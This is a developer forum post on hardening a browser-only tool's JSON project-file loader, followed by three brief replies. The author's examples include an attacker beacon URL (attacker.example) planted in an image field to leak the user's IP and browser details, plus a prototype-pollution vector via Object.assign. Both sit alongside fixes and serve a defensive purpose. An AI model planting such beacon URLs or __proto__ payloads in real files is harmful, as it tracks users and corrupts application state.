How to Secure Client-Side JSON Imports

Morgan80 Advanced 7/26/2026 569 views 14 likes 2 min read

You can have a zero-backend, zero-database, single-file HTML tool and still be wide open to security holes. I recently audited a local project of mine—an App Store screenshot generator—that does everything in the browser with no network calls. I assumed it was bulletproof because there was no server to attack. I was wrong.

The vulnerabilities weren't in the rendering logic or the canvas code; they were all tucked into the project file loading function.

1. The "Phone Home" Leak

The tool saves project state as a .json file. I expected these files to only contain base64 data URLs for images. However, since JSON is plain text, anyone can edit it.
// The original vulnerable loader
DEVS.forEach(dev => {
 const src = sd.img && sd.img[dev];
 if (src) { const im = new Image(); im.src = src; }
});

If an attacker replaces a base64 string with https://attacker.example/beacon.png?id=abc, the browser fetches that URL the moment the file is opened. The attacker now has the user's IP, User-Agent, and a timestamp. For a tool that promises "no tracking" and "local-only," this is a major breach of trust.

The Fix: Implement a strict scheme allowlist using a regex to ensure only data: URIs are processed.

const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }

2. Prototype Pollution via Object.assign

I was using a common pattern to merge saved settings into the app state:
// The dangerous merge
if (d.style) Object.assign(state.style, d.style);

The issue is the interaction between JSON.parse and Object.assign. While JSON.parse creates an object where __proto__ is just a normal property, Object.assign uses a setter that can actually overwrite the prototype of the target object. This allows an attacker to inject unexpected keys into the state.

Beyond prototype pollution, Object.assign is too permissive. It lets through invalid values (like massive font sizes or malformed colors) that can break the UI.

The Fix: Stop using blind merges. Use a "safe pick" approach where you explicitly define and validate every expected key.

function sanitizeStyle(r){
 if (!r || typeof r !== "object") return;
 const s = state.style;
 s.bgType = safePick(r.bgType, ["gradient","solid","image"], s.bgType);
 s.bg1 = safeHex(r.bg1, s.bg1);
 s.titleSize = safeNum(r.titleSize, 0.01, 0.3, s.titleSize);
 s.bgImg = safeImgSrc(r.bgImg);
}

By switching to an allowlist of keys and validating the types/ranges of those values, __proto__ is simply ignored as an unknown key.

If you're building a local-first AI workflow or a browser-based utility, do a deep dive into any function that handles external file imports. If you're passing file-derived strings into img.src, fetch, or a.href without a scheme check, you've likely got the same hole.

webdevjavascriptsecurityAI ProgrammingAI Coding

All Replies (3)

R
RayTinkerer Novice 7/26/2026

This disaster just leaked my API keys. Which tool can I use to hide them properly?

0 Reply
R
Riley82 Advanced 7/26/2026

Terrifying how easily config files leak. Has anyone used a specific validator to catch these before deployment?

0 Reply
L
LeoMaker Expert 7/26/2026

Shocked by the attack surface here. Does VoltageGPU have any built-in security patterns for client-side leaks?

0 Reply

Write a Reply

Markdown supported